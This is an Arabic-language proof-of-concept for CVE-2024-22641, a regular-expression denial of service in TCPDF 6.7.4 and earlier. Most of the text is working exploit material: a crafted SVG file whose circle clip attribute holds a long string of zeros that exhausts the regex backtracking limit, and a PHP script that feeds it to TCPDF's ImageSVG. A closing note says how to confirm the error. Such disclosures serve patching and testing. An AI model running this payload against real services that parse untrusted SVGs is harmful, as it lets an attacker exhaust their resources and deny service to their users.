
إثبات المفهوم لـ CVE-2024-22641: ثغرة ReDoS في TCPDF <=6.7.4 يتم تشغيلها بواسطة ملفات SVG مصممة خصيصًا، مما يوضح استنفاد حد التراجع في التعبيرات النمطية.
حرمان الخدمة عبر التعبيرات النمطية (ReDoS)
TCPDF <= 6.7.4
يقوم TCPDF بتحليل ملف SVG يحتوي على حمولة مصنوعة بعناية.
إصدار TCPDF <= 6.7.4 عرضة لثغرة ReDoS (حرمان الخدمة عبر التعبيرات النمطية) عند تحليل ملف SVG غير موثوق.
<!--poc.svg-->
<svg
version="1.1"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<circle clip="rect(0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!)"/>
</svg>
<?php
require_once('../tcpdf.php');
// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
// add a page
$pdf->AddPage();
$pdf->ImageSVG($file='poc.svg');
?>
ملاحظة: عند الفحص باستخدام preg_last_error() بعد سطر الكود المعرض للثغرة، سيخرج التعبير النمطي بالخطأ PREG_BACKTRACK_LIMIT_ERROR.